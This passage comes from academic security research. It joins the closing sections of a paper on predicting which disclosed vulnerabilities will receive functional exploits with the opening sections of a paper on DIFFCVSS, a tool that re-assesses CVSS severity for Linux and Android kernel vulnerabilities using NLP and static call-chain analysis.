fier outperforms the baselines and maintains an AUC above
0.58, Interestingly, performance drops after disclosure and
is affected the most on predicting exploits published within
12 days. Therefore, the classifier based on disclosure-time
artifacts learns features of easily exploitable vulnerabilities,
which get published immediately, but does not fully capture
the risk of functional PoC that are published early. We miti-
gate this effect by updating EE with new artifacts daily, after
disclosure. Overall, the result suggests that EE may be use-
ful in emergency response scenarios, where it is critical to
urgently patch the vulnerabilities that are about to receive
functional exploits.

8 Related Work

Predicting exploits in the wild. Most of the prior exploit
prediction work has been towards the tangential task of pre-
dicting exploits in the wild. This has been investigated in our
prior study [55] and Chen et al. [11] by monitoring Twitter
for vulnerability discussions, and Xiao et al. [73] by using
post-disclosure field data about exploitation. Jacobs et al. [30]
used vulnerability prevalence data to improve prediction. Ja-
cobs et al. [31] proposed EPSS, a scoring system for exploits.
Allodi [1] calculated the likelihood of observing exploits in
the wild after they are traded in underground forums.
Vulnerability Exploitability. Allodi and Massacci [2] inves-
tigated the utility of the CVSS scores for capturing the likeli-
hood of attacks in the wild. Prior work by Bozorgi et al. [7]
formulated exploitability estimation as the problem of predict-
ing the existence of PoCs based on vulnerability characteris-
tics. Allodi and Massaci [3] concluded that the publication of
a PoC in ExploitDB is not a good indicator for exploits in the
wild. Our work shows that, while their presence might not
be a sufficiently accurate indicator, the features within these
PoCs are useful for predicting functional exploits. DarkEm-
bed [64] uses natural language models trained on private data
from underground forum discussions to predict the availabil-
ity of exploits, but such artifacts are generally published with
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a delay [1]. Instead, EE uses only publicly available artifacts
for predicting exploits soon after disclosure; we were unable
to obtain these artifacts for comparison upon contacting the
authors.
PoCs. PoCs were also investigated in measurements on vul-
nerability lifecycles. Shahzad et al [57] performed a measure-
ment of the vulnerability lifecycle, discovering that PoCs are
generally released at the time of disclosure. Mu. et al [40]
manually curated and utilized PoCs to trigger the vulnerabil-
ities. FUZE [72] used PoCs to aid exploit generation for 5
functional exploits.
Label Noise. The problem of label noise has been studied
extensively in machine learning [23], primarily focusing on
random and class-dependent noise. Limited work focuses on
feature-dependent noise, which requires either strong theoret-
ical guarantees about the sample space [37] or depends on a
large dataset of clean labels to learn noise probabilities [74].
In security, the closest to our work is the study by Deloach
et al [15] which models noise in malware classification as
class-dependent.

9 Conclusions

By investigating exploitability as a time-varying process, we
discover that it can be learned using supervised classifica-
tion techniques and updated continuously. We discover three
challenges associated with exploitability prediction. First, it
is prone to feature-dependent label noise, a type considered
by the machine learning community as the most challenging.
Second, it needs new categories of features, as it differs qual-
itatively from the related task of predicting exploits in the
wild. Third, it requires new metrics for performance evalua-
tion, designed to capture practical vulnerability prioritization
considerations.

We design the EE metric, which, on a dataset of 103,137
vulnerabilities, improves precision from 49% to 86% over
state-of-the art predictors. EE can learn to mitigate feature-
dependent label noise, capitalizes on highly predictive fea-
tures that we extract from PoCs and write-ups, improves over
time, and has practical utility in predicting imminent exploits
and prioritizing critical vulnerabilities.
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A Appendix

A.1 Evaluation

Additional ROC Curves. Figures 8 and 9 highlight the trade-
offs between true positives and false positives in classification.
EE performance improves over time. To observe how our
classifier performs over time, in Figure 10 we plot the perfor-
mance when EE is computed at disclosure, then 10, 30 and
365 days later. We observe that the highest performance boost
happens within the first 10 days after disclosure, where the
AUC increses from 0.87 to 0.89. Overall, we observe that
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Figure 8: ROC curves for the corresponding precision-recall
curves in Figure 5.
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Figure 9: ROC curve for the corresponding precision-recall
curves in Figure 6a.

the performance gains are not as large later on: the AUC at
30 days being within 0.02 points of that at 365 days. This
suggests that the artifacts published within the first days af-
ter disclosure have the highest predictive utility, and that the
predictions made by EE close to disclosure can be trusted to
deliver a high performance.
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Figure 10: Performance of EE evaluated at different points in
time.
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Abstract
The Linux kernel is quickly evolving and extensively cus-
tomized. This results in thousands of versions and derivatives.
Unfortunately, the Linux kernel is quite vulnerable. Each
year, thousands of bugs are reported, and hundreds of them
are security-related bugs. Given the limited resources, the
kernel maintainers have to prioritize patching the more severe
vulnerabilities. In practice, Common Vulnerability Scoring
System (CVSS) [1] has become the standard for characteriz-
ing vulnerability severity. However, a fundamental problem
exists when CVSS meets Linux—it is used in a “one for all”
manner. The severity of a Linux vulnerability is assessed
for only the mainstream Linux, and all affected versions and
derivatives will simply honor and reuse the CVSS score. Such
an undistinguished CVSS usage results in underestimation or
overestimation of severity, which further results in delayed
and ignored patching or wastes of the precious resources. In
this paper, we propose OS-aware vulnerability prioritization
(namely DIFFCVSS), which employs differential severity
analysis for vulnerabilities. Specifically, given a severity-
assessed vulnerability, as well as the mainstream version and
a target version of Linux, DIFFCVSS employs multiple new
techniques based on static program analysis and natural lan-
guage processing to differentially identify whether the vul-
nerability manifests a higher or lower severity in the target
version. A unique strength of this approach is that it trans-
forms the challenging and laborious CVSS calculation into
automatable differential analysis. We implement DIFFCVSS
and apply it to the mainstream Linux and downstream An-
droid systems. The evaluation and user-study results show
that DIFFCVSS is able to precisely perform the differential
severity analysis, and offers a precise and effective way to
identify vulnerabilities that deserve a severity reevaluation.

1 Introduction
Linux has become the most widely used and complex open-
source project. The Linux kernel not only evolves quickly,
but is also commonly cloned and customized, which results
in a large number of versions and derivatives. Specifically, it
has more than three thousands of different versions, including
stable versions, release candidate versions, and long time
support versions. Many of them are commonly used by the
systems such as Android, Ubuntu, Red Hat, and IoT systems
are also derived from the Linux kernel. For example, there
are at least 29 [71] major Android systems running on over
24,000 models [29] and billions of mobile devices.
∗The first two authors are ordered alphabetically.
†Kangjie Lu and Xiaojing Liao are co-corresponding authors.

The Linux kernel alone is reported to have thousands of
bugs each year, and hundreds of them are security related bugs
(vulnerabilities). When a vulnerability is severe, it is supposed
to be patched promptly to avoid being exploited [4]. This is
crucial given its extremely high importance and popularity.
To assist with the severity assessment, maintainers widely use
Common Vulnerability Scoring System (CVSS) [35], an open
framework for characterizing the severity of vulnerabilities.
CVSS is a metric-based system; combining all CVSS metrics
with different weights allows people to calculate [1] a score
ranging from 0 to 10 (the most severe). In practice, CVSS
has been widely adopted as a standard measurement system
by industries, organizations, and governments; the National
Vulnerability Database (NVD) provides CVSS scores for
almost all known Linux vulnerabilities.
The “one for all” CVSS usage. A fundamental problem
arises when CVSS meets Linux—it is used in an “one for
all” manner. When a bug reporter requests a Common Vul-
nerabilities and Exposures (CVE) [47] for a vulnerability, the
CVE maintainers assign a (single) CVSS score for it, typically
based on the mainstream Linux. All affected versions and
some derivatives will then simply honor the assigned CVSS
score for prioritizing their patches. This is understandable
because assigning the CVSS score is quite laborious and re-
quires expertise. Maintainers of small derivatives may not
afford the reevaluation for all of their system.

A “one for all” CVSS usage results in two critical problems
in vulnerability prioritization. First, patches for a severe vul-
nerability may be delayed or even ignored when its severity
is underestimated. While a CVSS score is assigned for the
project where the vulnerability was originally found, the vul-
nerability may manifest a much higher severity in a different
version or derivative. Second, overestimating the severity in
a different version or a derivative may waste maintenance
resources when they are improperly allocated to non-critical
vulnerabilities, which delays the patching for more critical
vulnerabilities.

The severity of vulnerabilities varies significantly across
different operating systems (OSes) [23]. In recent years, some
security-sensitive vendors (e.g., Red Hat [53], Ubuntu [63]
and BlackBerry [41]) have begun publishing their own sever-
ity levels for vulnerabilities that affected their products. For
example, Red Hat re-evaluated CVSS scores of 2,199 Linux-
related CVEs, among which 981 CVEs have different CVSS
scores from the original ones, with 247 having higher scores
in Red Hat. Unfortunately, such OS-aware severity analysis is
commonly done manually by analyzers [6] and only by major
vendors. Such an approach certainly would not scale and be
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affordable for small vendors. As a result, reusing the CVSS
scores assigned by NVD is still the dominating strategy in
practice. Hence, it is essential to automatically analyze the
severity of vulnerabilities in an OS-aware manner, to support
thousands of affected derivatives and versions.
OS-aware vulnerability prioritization: challenges. Given
a vulnerability, automatically calculating its CVSS score for
different OSes is challenging. First, determining the ex-
ploitability of a vulnerability is still an open problem [69],
which requires understanding code semantics, reachability,
environments, etc. Second, CVSS involves many metrics
from multiple dimensions. Automatically assessing them to
determine the scores is hard. To our knowledge, none of the
existing works can provide OS-aware and automated sever-
ity analysis for thousands of derivatives and versions of a
program like the Linux kernel.
Our approach. In this paper, we propose OS-aware vulnera-
bility prioritization (namely DIFFCVSS) for Linux-based sys-
tems, which employs differential severity analysis for Linux
derivatives and versions. Specifically, given a Linux CVE
(i.e., a vulnerability assigned with a CVSS score for the main-
stream Linux), DIFFCVSS employs both static program anal-
ysis and natural language processing (NLP) to precisely iden-
tify and map Linux functions to CVSS metrics, and match
code paths related to the CVE in both the mainstream version
and the target version. It then performs OS-aware analysis
for the metrics-related functions in the code paths. By differ-
entially comparing the metric-related functions, DIFFCVSS
automatically determines if the vulnerability is less or more
severe in the target version. DIFFCVSS pinpoints such cases
for maintainers to further reevaluate the severity for the spe-
cific target version. A unique strength of this approach is
that it transforms the challenging CVSS calculation into au-
tomatable differential analysis. More specifically, to realize
DIFFCVSS, we propose multiple new techniques.

First, we identify CVSS-related functions and map the
CVSS metrics to them. The technique trains a set of clas-
sifiers using the Bi-directional Long Short-Term Memory
Networks (BiLSTM) [15] +attention model. We choose this
model because it can capture the semantic context of a full
sentence, also pay more attention to those informative words
that have significant impact to classification results. It further
leverages transfer learning to transform semantic knowledge
to a specific domain. Second, we identify and map call-chains
(vulnerability paths) for a CVE. This technique employs both
static program analysis and NLP techniques to precisely lo-
cate and match the call-chains in Linux and its derivatives.
Third, we perform metric-level differential analysis against
functions in the call-chains and determine if the vulnerability
deserves a severity reevaluation in the target OS version.

We have implemented DIFFCVSS and applied it to the
mainstream Linux and downstream Android systems. We
choose them because they represent the most popular Linux-
based ecosystem. We found that DIFFCVSS is able to pre-

cisely map CVSS-related functions and identify the call-
chains leading to the vulnerability. More importantly, with
DIFFCVSS, we found 110 vulnerabilities that have different
severity levels between Android and Linux, and 30 vulner-
abilities that have different severity levels across different
versions of the Linux kernel itself. In 18 cases, the severity
is much higher in the derivative Android system. Failure to
re-assess them would delay the patching of severe vulnera-
bilities, which incurs significant threats. These results show
that DIFFCVSS offers a precise and effective way to iden-
tify vulnerabilities that manifest different severity levels in a
specific OS and thus deserve a severity reevaluation. In addi-
tion, we conduct a user study on DIFFCVSS, and the results
demonstrate the effectiveness and usability of DIFFCVSS for
its users (e.g., maintainers).

In summary, this paper makes the following contributions:
• Mapping functions to CVSS metrics. We train a set of
classifiers to map functions to the CVSS exploitability met-
rics based on their descriptions in Linux kernel and further
leverage transfer learning to transform the semantic knowl-
edge learned from Linux to the Android domain.
• Identifying and matching vulnerability paths for CVEs.
Based on CVE information, DIFFCVSS employs static pro-
gram analysis and NLP to precisely identify the correspond-
ing vulnerability paths (from an entry point to the vulnerable
function) and match them between Linux and Android. We
believe that identifying vulnerability paths is a useful tech-
nique that can enable further research such as patch generation
and testing, and impact analysis.
•OS-aware vulnerability prioritization. With the mapping
from functions to CVSS metrics and the identified vulnerabil-
ity paths, DIFFCVSS employs differential severity analysis,
which can automatically determine the severity differences
for the vulnerability in different OSes.
• A severity reevaluation of Linux vulnerabilities. With
the new techniques, DIFFCVSS achieves an impressive pre-
cision in the differential severity analysis. With DIFFCVSS,
we also found 110 vulnerabilities that have different sever-
ity across Android and Linux. More critically, 18 of them
have a higher severity and should be reevaluated per OS to
avoid delayed patching. Also, the usability study shows that
DIFFCVSS can guide maintainers to assess vulnerability cor-
rectly and effectively in an OS-aware manner.

2 Background
2.1 Cross-OS Vulnerabilities
A vulnerability becomes a cross-OS vulnerability when it
exists in many OSes (e.g., Linux, Android, and Red Hat)
and causes a different severity in them. Such vulnerabilities
should be evaluated separately per OS.
Prevalence of cross-OS vulnerabilities. The Linux kernel
has been shipped to a wide variety of computing systems, such
as IoT devices, mobile devices (mainly Android), personal
computers, and industrial control systems (ICS). One of the
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System Type Number of vendors Vendor CVE Vendor Severity NVD Severity
Mobile devices 5 BlackBerry, Huawei, LG,etc. CVE-2020-11652 6.5 MEDIUM 8.6 HIGH
IoT/ICS devices 7 NetApp, Siemens, SAP, etc. CVE-2018-2477 8.8 HIGH 6.5 MEDIUM
Network devices 8 Cisco, PulseSecure, SonicWall etc. CVE-2020-1993 5.4 MEDIUM 3.7 LOW
Personal computer 6 Ubuntu, Red Hat, SUSE etc. CVE-2017-5897 3.7 LOW 9.8 CRITICAL

Table 1: Examples of re-evaluated CVEs by different vendors.

most well-known Linux derivatives is the Android common
kernels [27], also known as ACKs, which are downstreams
of the Linux kernel. Furthermore, plenty of mobile OSes
are based on ACKs or Linux kernel, such as BlackBerry Se-
cure [41], ColorOS [51], EMUI [34], MIUI [48], and Chrome
OS [28]. Therefore, most vulnerabilities in Linux and An-
droid are cross-OS vulnerabilities. Our study on 2,911 CVEs
in the Linux kernel and 6,080 CVEs in Android found that 26
vendors and 10 third parties have reevaluated the severity of
these vulnerabilities on their own or other platforms. Table 1
shows several example vulnerabilities that were reevaluated
by different vendors. Although some major vendors have
their own criteria for reevaluating the severity [7, 53, 63].
The criteria are rough and hard to automate for analyzing
different vulnerabilities. These results indicate that cross-OS
vulnerabilities are pervasive and have raised awareness in
major vendors (but not in small vendors yet).

2.1.1 Impacts of Cross-OS Vulnerabilities

Linux Severity (CVSS 3.0) Medium of DD Average of DD
LOW 349 349
MEDIUM 99 138.5
HIGH 34.5 57
CRITICAL 8 8
Average 122.6 138.5

Table 2: Delayed patch days of the Linux vulnerability on Android-
MSM project [2]. DD = delay days.

The severity of a vulnerability would significantly influence
the patch prioritization of the vulnerability. However, in prac-
tice, the “one for all” strategy is widely adopted, regardless of
the underlying OSes, which would inevitably result in overes-
timation or underestimation of the severity. We next present
how overestimation and underestimation result in security
concerns.
Underestimation causes delayed or even missed patches,
leaving the program vulnerable. Given the limited mainte-
nance resources, software vendors have to de-prioritize the
patching of vulnerabilities with lower severity level. Android
Security [4] mentions that “The first task in handling a se-
curity vulnerability is to identify the severity of the bug and
which component of Android is affected. The severity deter-
mines how the issue is prioritized.” When comparing the patch
time of vulnerabilities in the Linux kernel and the Android-
MSM project [2] (see Table 2), we found that the delays (in
days) are inversely proportional to the severity reported by
the NVD. Therefore, underestimation of vulnerability can
lead to a delay of months and even years. In practice, we have

actually observed many cases where underestimation leads to
delayed and missed patches, such as CVE-2016-5696 [13]. It
is worth noting that when a vulnerability is assigned with a
CVE, it has been publicized, which means adversaries know
them. In this case, delaying or ignoring the patches is particu-
larly critical.
Overestimation wastes limited maintenance resources
(which in turns also delays the patching for more critical
ones) and is quite common. According to the data released
by NVD [36], from 2017 to 2020, the number of vulnerabili-
ties disclosed each year has almost doubled from that before
2016. On average, each enterprise will find 870 CVEs from
960 IT assets every day [64], and they usually follow the
severity scores published on NVD. Specifically, 33.4% of
vulnerabilities re-evaluated by Redhat have a lower CVSS
score than that from NVD. Hence, handling a large amount of
vulnerabilities a day poses a big challenge for organizations,
especially on those overestimated, which will lead a serious
resource drain. Such inappropriate and non-optimal resource
allocation could in turn result critical vulnerabilities in being
delayed.
Overall, the “one for all” CVSS usage can cause many
issues, and more and more vendors have started to re-
evaluate the vulnerabilities. CVSS scores are widely used
to prioritize the fixes of vulnerabilities. The timeliness of
the patching of a vulnerability is often proportional to its
CVSS score [76]. CVSS scoring has been complained of
being too generic by lots of organizations [72], without con-
sidering different execution contexts [24], which are com-
mon due to customization. As a result, more and more ven-
dors started performing the re-evaluation of vulnerabilities
for proper prioritization and risk management. We found
that their re-evaluation results are alarming—severity differ-
ences are quite prevalent in cross-OS vulnerabilities; nearly
44.6% of vulnerability scores re-evaluated by Red Hat are
different from that of NVD. It is also worth noting that exist-
ing re-evaluation is largely manual [6], which cannot scale
and would still slow down the patching by months or even
years [76]. Furthermore, in our user study (see §7), almost all
participants agreed that the “one for all” CVSS usage is prob-
lematic, and re-evaluating severity is necessary but laborious,
time-consuming, and expertise-required.

2.2 CVSS Metrics
The CVSS is an open and widely-adopted vulnerability sever-
ity scoring standard. It assigns severity scores to vulnera-
bilities, which allows responders to prioritize resources for
responses. A vulnerability is typically assigned a CVSS score
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Figure 1: An overview of DIFFCVSS.

rating from zero to ten that maps to severity levels from low
to high (i.e., 0.1-3.9 as low, 4.0-6.9 as medium, 7.0-8.9 as
high, and 9.0-10 as critical). To generate a CVSS score, an
assessor will follow the CVSS specification document [35] to
assign values to a set of metrics. A CVSS score is then calcu-
lated according to a CVSS vector aggregating CVSS metric
values. The formulas can be found in [35]. The CVSS score
influences the enthusiasm of applying patches from relevant
product suppliers.

There are two types of metrics, exploitability metrics and
impact metrics. The exploitability metrics reflect the proper-
ties of the vulnerability that lead to a successful attack, and
their values indicate the exploitation difficulty [35], which
include the following four parts: (1) attack vector (AV), reflect-
ing the context in which vulnerability exploitation is possible.
It consists of four values: N (network), A (adjacent network),
L (local) and P (physical). (2) attack complexity (AC), indi-
cating the additional conditions for a successful exploit; if
a successful exploitation requires some measurable amount
of efforts the AC should be H (high); otherwise, it should be
L (low). (3) privileges required (PR), describing the privi-
leges required for an exploit, ranging from H (high privilege
requirement such as “root”) to N (none privilege is required,
thus easier exploitation). (4) user interaction (UI), showing
the requirements for the user to participate in the exploitation,
ranging from R (required, thus a harder attack) to N (none,
thus an easier attack).

This project aims at analyzing exploitability metrics, in-
stead of impact metrics (e.g., confidentiality, integrity, avail-
ability). This is because impact metrics are typically decided
by the type of the vulnerabilities, and the associated impact
score would not change across OSes. That said, based on the
needs of vendors, the techniques proposed in this work can
also be naturally extended to include impact metrics.

3 Overview
DIFFCVSS’s goal is to enable OS-aware vulnerability prior-
itization. DIFFCVSS employs differential analysis to auto-
matically identify whether a vulnerability would manifest a
different severity in a different OS. In this work, we focus on
the most commonly used systems, the Linux kernel, and the

derivative Android kernel. Their security can influence bil-
lions of devices. Figure 1 shows the overview of DIFFCVSS,
which consists of four parts: 1 metric2function mapping, 2
vulnerability artifact recognition, 3 vulnerability call-chain
identification, and 4 differential severity analysis. More
specifically, using Linux/Android kernel function descrip-
tions in the documentation, DIFFCVSS constructs a map
between functions and exploitability metrics (i.e., AV, AC, PR,
UI) to support vulnerability severity quantification. For exam-
ple, the Linux kernel function ns_capable with description

“determine if the current task has a superior capability in ef-
fect” should be mapped with PR:H, indicating a high privilege
requirement ( 1 ). Meanwhile, given a vulnerability in the
Linux kernel, as documented by CVE, our approach extracts
useful semantic information about the vulnerability (e.g., af-
fected version, vulnerable function, system call, etc.) from the
CVE description and the corresponding Linux git log, which
enables vulnerability call-chain identification ( 2 ). Then,
DIFFCVSS compiles the Linux kernel (with affected version)
and determines vulnerability call-chains using artifacts (e.g.,
vulnerability-related functions and tokens) extracted in pre-
vious step. Such information is further used to identify and
match the corresponding vulnerability call-chains in the af-
fected Android kernel ( 3 ). Given both Linux and Android
vulnerability call-chains, DIFFCVSS conducts a differential
analysis to identify the vulnerability path differences (func-
tions), and further determine how such difference will affect
vulnerability severity level, by examining the function in the
call-chains and their associated CVSS metrics ( 4 ).

4 Design
In this section, we will detail the design of DIFFCVSS.

4.1 Mapping Metrics to Functions
As the first component, DIFFCVSS maps exploitability met-
rics to functions: (1) identifying functions that are related to
the CVSS metrics and (2) mapping the CVSS metrics value to
the functions. We decide to perform the function-based map-
ping for two reasons. First, we found that, in most cases, the
severity assessment determines metric values at a granularity
of functions. Second, function description in source code pro-
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Race	condition	 in	 the	ALSA	subsystem	 in	 the	Linux	kernel	before	4.13.8	 allows	 local
users	 to	 cause	 a	 denial	 of	 service	 (use-after-free)	 or	 possibly	 have	 unspecified	 other
impact	via	crafted	/dev/snd/seq	ioctl	calls,	related	to	sound/core/seq/seq_clientmgr.c	and
sound/core/seq/seq_ports.c.

There	is	a	potential	race	window	opened	at	creating	and	deleting	a	port	via	ioctl,	as	spotted
by	 fuzzing.	 	 snd_seq_create_port()	 creates	 a	 port	 object	 and	 returns	 its	 pointer,	 but	 it
doesn't	take	the	refcount,	thus	it	can	be	deleted	immediately	by	another	thread.	Meanwhile,
snd_seq_ioctl_create_port()	 still	 calls	 the	 function	snd_seq_system_client_ev_port_start()
with	the	created	port	object	that	is	being	deleted,	and	this	triggers	use-after-free.	We	may
fix	this	in	a	few	different	ways,	and	in	this	patch,	it's	fixed	simply	by	taking	the	refcount
properly	at	snd_seq_create_port()	 and	 letting	 the	caller	unref	 the	object	 after	use.	 	Also,
there	is	another	potential	use-after-free	by	sprintf()	call	in	snd_seq_create_port(),	and	this
is	moved	inside	the	lock.

CVE-2017-15265
Compiled kernel

Gernerate call-chains

Vulnerability Call-Chain 
Identification

Figure 2: CVE description and Linux git log of CVE-2017-15265.

vides a direct and easy way for developers to understand the
functionality, parameters, or the usages of a function. Hence,
we can use NLP techniques to automatically analyze those
descriptions to identify functions that are related to the CVSS
metrics and to construct the mapping.

For example, the Linux function tcp_rcv_established
has the description of “TCP receive function for the ESTAB-
LISHED state”. This description indicates the function is
bound to the network stack (i.e., AV:N). We can thus con-
struct a mapping between tcp_rcv_established and AV:N.
We elaborate on our design as follows.

Function-description extraction. To extract function de-
scriptions, we first use Sphinx [38] to automatically identify
well-structured descriptions in the kernel-doc format from
kernel source files. However, less-structured descriptions are
common (around 67.6%) that cannot be directly extracted by
Sphinx. To address this, we use regular expression to extract
them. Specifically, we first use Coccinelle [52], a tool for pat-
tern matching and text transformation, to extract the function
name and its line number from source code. Then, we design
regex expressions to capture single-line and multi-line block
descriptions above the function. As a quick evaluation, we
manually sample 200 functions with less-structured descrip-
tions for testing. The results show our regex-based method is
very effective—achieving a recall of 100% and a precision of
99.5%. As a result, we gather 48,232 function descriptions by
using Sphinx and 100,778 more using the regular expressions,
which can cover all of core kernel functions [37].

Inferring CVSS metrics for functions. After gathering
function descriptions, DIFFCVSS then infers CVSS metrics
for each function based on their descriptions. In our study, we
use BiLSTM [15] and attention mechanism [66] for function-
description reasoning and exploitability-metric classification.
We choose such a model for two reasons. First, some de-
scriptions are relatively long (more than 100 words), hence
we use the BiLSTM model which is able to memorize longer
sequences of the input data. Second, after manually reviewing
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Figure 3: BiLSTM+Attention model

hundreds of ground-truth data, we found some informative
keywords that have decisive impact on the functionality of
functions, which can be captured by the attention mechanism.
For example, if a function description has the words such as
“permission”, “privilege”, “admin”, “capability”, it has a high
chance to be associated with PR:H. Note that those informative
words are learned by the self-attention mechanism instead of
manually observation. In particular, our BiLSTM consists of
two LSTM units, which operate in both directions to capture
long-term dependencies between word sequences. Also, the
attention mechanism can automatically focus on the words
that have a decisive effect on the classification to capture the
most critical sentimental information in a sentence.

More specifically, we first represent sentences in the de-
scriptions into vectors. We concatenate each word’s vec-
tor generated by words embedding [62]. Based on this,
DIFFCVSS further uses BiLSTM [15] and the attention mech-
anism [66] to discover metric-related functions. As shown in
Figure 3, our model consists of four components: (1) Input
layer which is the sentence vector embs = {e1,e2, ...eT}, con-
catenated by the each token’s vectors ei that is output by the
pre-trained Word2vec’s skip-gram model. (2) LSTM layer
which contains two sub-networks to learn left and right se-
quence contexts respectively. The outputs are the word anno-
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tations hi = {
−→
hi ⊕
←−
hi }, where ⊕ is the concatenate operation.

(3) Attention layer: considering that not all context words
have the equal contribution to the semantics of a sentence, we
use a self-attention layer to automatically capture important
parts of the sentence itself. The output of attention layers is
s = ∑t ∂tht , where ∂ is an attention weight, s is the output
sentence vector, and t is the word sequence. (4) Output layer:
further, s is the input to the softmax layer for exploitability-
metric classification, i.e., y = softmax(Wss+bs), where Ws
is the weighted matrix, and bs is the bias.

Note that each function can be associated with more than
one exploitability metrics. For example, file_ns_capable
can be mapped to two metrics PR:H and UI:R, because it is
a file operation that needs user interaction while it is also a
permission check that determines if the operator of that file
has a permission. Hence, in our study, we train a classifier for
each exploitability metric (see §5).

Transforming model to Android domain. In order to avoid
excessive human work in labeling functions in Android ker-
nels, we transform the semantic knowledge learned from
Linux kernel to Android. Our key insights are two-fold. First,
an Android kernel is built on top of the Linux kernel, and they
share around 84% of functionalities [40]. Second, although
the Android kernel introduces various Android-specific fa-
cilities, such as ashmem (Android shared memory driver),
Binder IPC mechanism, and wake lock mechanisms [57],
the informative words that have significant impacts on the
classification results should share the same or similar mean-
ing. For example, the function sdcardfs_permission is
an Android-specific function, used to perform permission
check on the sdcardfs inode. Its description is “calling
process should have AID_SDCARD_RW permission”. Although
AID_SDCARD_RW is an Android-specific term, the informative
keyword “permission” here is inline with the Linux kernel.

In order to keep such similarity and mitigate the subtle
platform differences, we fine-tune the model transferred from
the Linux kernel using a small number of data which are
specific to the Android domain. Particularly, we freeze atten-
tion layers to preserve learned informative keywords and at
same time adjust hidden-layers using such fine-tuning data
to make the transferred model optimized for the Android ker-
nel. More specifically, DIFFCVSS copies the parameters in
the attention layers from the Linux kernel model to the An-
droid kernel domain. Then, DIFFCVSS fine-tunes the trans-
ferred model based on the data selected in §6.1. DIFFCVSS
will enumerate all the different combinations of the hyper-
parameters and choose the one with the best performance.
Those hyper-parameters include different optimizers, dropout
for regularization, learning rate, and epoch.

Discussion. To evaluate the reliability of function descrip-
tions on assessing the severity of vulnerabilities, we manually
investigate a ground truth dataset (see §6.1) and find that the
function descriptions can effectively indicate the severity of

vulnerabilities. Specifically, we manually look into all the
vulnerability call-chains recorded in the fuzzing log and find
489 functions with descriptions that directly reflect the ex-
ploitability metrics values. For example, the description of
function tomoyo_check_unix_acl is “Check permission for
Unix domain socket operation”, which provides highly rele-
vant information about exploitability metrics PR. Also, for all
the ground-truth vulnerabilities, on average, 85.1% of their ex-
ploitability metrics can be directly reflected in the descriptions
of functions on the vulnerability call-chain. The result shows
that most vulnerability call-chains contain enough functions
that have severity-related descriptions.

4.2 Vulnerability Artifact Recognition
As mentioned earlier, semantic information (including af-
fected version, vulnerable functions, and system calls) of
vulnerability paths comes from the text content of CVE and
Linux git log. In our study, to rebuild the vulnerability path
given a vulnerability, we will retrieve (1) compilation-related
information (i.e., affected version, configuration options),
which provides settings for us to compile kernel into LLVM
IR. (2) vulnerability entry points and endpoints (i.e., sys-
tem call, vulnerable function), which enable us to gener-
ate possible vulnerability call-chain in the call graph. (3)
vulnerability-related functions and tokens (e.g., module name,
macro name), which helps us determine functions (except for
vulnerable function) in the vulnerability path.
Retrieving affected version, vulnerable function, and sys-
tem call. We adopt the method used in Semfuzz [74], which
uses both regex expression and constituency tree that repre-
sent the syntactic structure of a sentence [14], to recognize
affected version, vulnerable function, and system call in the
CVE and Linux git log.
Identifying affected configuration. The configuration in-
formation indicates whether driver is built into the ker-
nel (e.g., CONFIG_XFRM_MIGRSTE=y) or is not selected (e.g.,
CONFIG_XFRM_MIGRSTE=n). Those options are specified in the
config file of the kernel, e.g., .config in the Linux. To re-
trieve those information, we use regex “\bCONFIG_\w+” to
identify the configuration name and operation. After that, we
use its semantic context to determine its option (“y” or “n”).
Specifically, we construct a dependency tree using spaCy [33]
to identify the verb of configuration name. If the verb is either
“enable”, “use”, “enforce” or “build” and there is no negation
modifier before the verb, we will regard the configuration
option is “y”. However, if the verb contains negative meaning
(e.g., “disable”) or there is an negation modifier dominating
the verb (e.g., “is not enabled”), we will view configuration
option is “n”. In our study, we use spaCy [33] to identify
negation modifiers.
Recognizing and inferring vulnerability-related func-
tions. Here we defined vulnerability-related functions as the
functions in the vulnerability path. Such inferred functions
will facilitate the identification of vulnerability call-chains
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(see §4.3). To this end, we generate a list of Linux func-
tion names using Coccinelle [52] and match those functions
names in the text. However, not all vulnerability-related func-
tions are recorded in the CVE or git log, but only some key-
words (e.g., ioctl, which can be correlated to the functions
do_vfs_ioctl, vfs_ioctl). Hence, in our study, we retrieve
those keywords (i.e., vulnerability-related tokens) and further
infer functions associated with those keywords. More specif-
ically, after manually examining 100 CVE and git logs, we
determine three kinds of vulnerability-related tokens: mod-
ule name, variable name/type, macro name. After that, we
generate the list of all module names, variables, macro names
in the Linux kernel by building parsers on top of Coccinelle
[52]. In this way, we achieve three lists with 2,538 module
names, 81,327 variable name/type, 1,903,662 macro names.

Given those lists and associated types, we retrieve
vulnerability-related tokens in the CVE and git log, by
considering the semantic context of those tokens instead
of the simple approach (string matching) which failed to
consider the grammatical property of the words in sen-
tence. For example, trigger acts as a variable in the func-
tion static void save_ELCR(char* trigger). However, in
CVE description or git log, “trigger” is usually used as a verb
(e.g., “to trigger buffer overflow”). Specifically, DIFFCVSS
uses Part-of-Speech (POS) tagger in spaCy [33] to recog-
nize the grammatical property (e.g., noun, verb, adjective)
of each word. If the token appears in the parse tree and its
POS tag is either NOUN or PROPN or ADJ [33], we regard it as
a vulnerability-related token. Such approach yields an accu-
racy of 96% to recognize vulnerability-related tokens in the
CVE and git log. After that, we correlate such tokens to func-
tions by checking if they appear in a function’s description or
function name or function body.

4.3 Vulnerability Call-Chain Identification
As we discussed in §2.2, to assess exploitability metrics of a
vulnerability, we need to know its vulnerability call-chains
(from entry points to the vulnerable function). Instead of us-
ing the symbolic execution or directed fuzzing, which suffers
from scalability and coverage issues, DIFFCVSS leverages
vulnerability information to automatically identify the vulner-
ability call-chains in the Linux and the Android kernel. As
will be shown in §6.3, such an approach is not only scalable
but also precise.

Some funcs in the selected call-chain Related keywords
snd_seq_create_port snd
snd_seq_ioctl_create_port ioctl, snd
snd_seq_ioctl ioctl, snd
vfs_ioctl ioctl
do_vfs_ioctl ioctl
SYSC_ioctl ioctl
SyS_ioctl ioctl

Table 3: Mapping CVE keywords to functions in call chains.

Identifying vulnerability call-chains in Linux. To get the

vulnerability call-chains in the Linux kernel, DIFFCVSS
first leverages the vulnerability patches and CVE descrip-
tion to find all the related functions, and applies two rules
to identify a call-chain as the vulnerability call-chain if (1)
it contains a highest number of related functions; and (2)
the functions in the call-chain should also match with the
same severity metrics specified in the CVSS. Taking CVE-
2017-15265 as an example, given its vulnerable function
snd_seq_create_port, DIFFCVSS identifies 514 call chains
from different entry points. However, based on the descrip-
tion in Figure 2, DIFFCVSS will identify several keywords,
such as sound, snd, and ALSA. By using these keywords to
find the related functions (see Table 3) and match with them,
DIFFCVSS can uniquely identify the vulnerability call-chain.
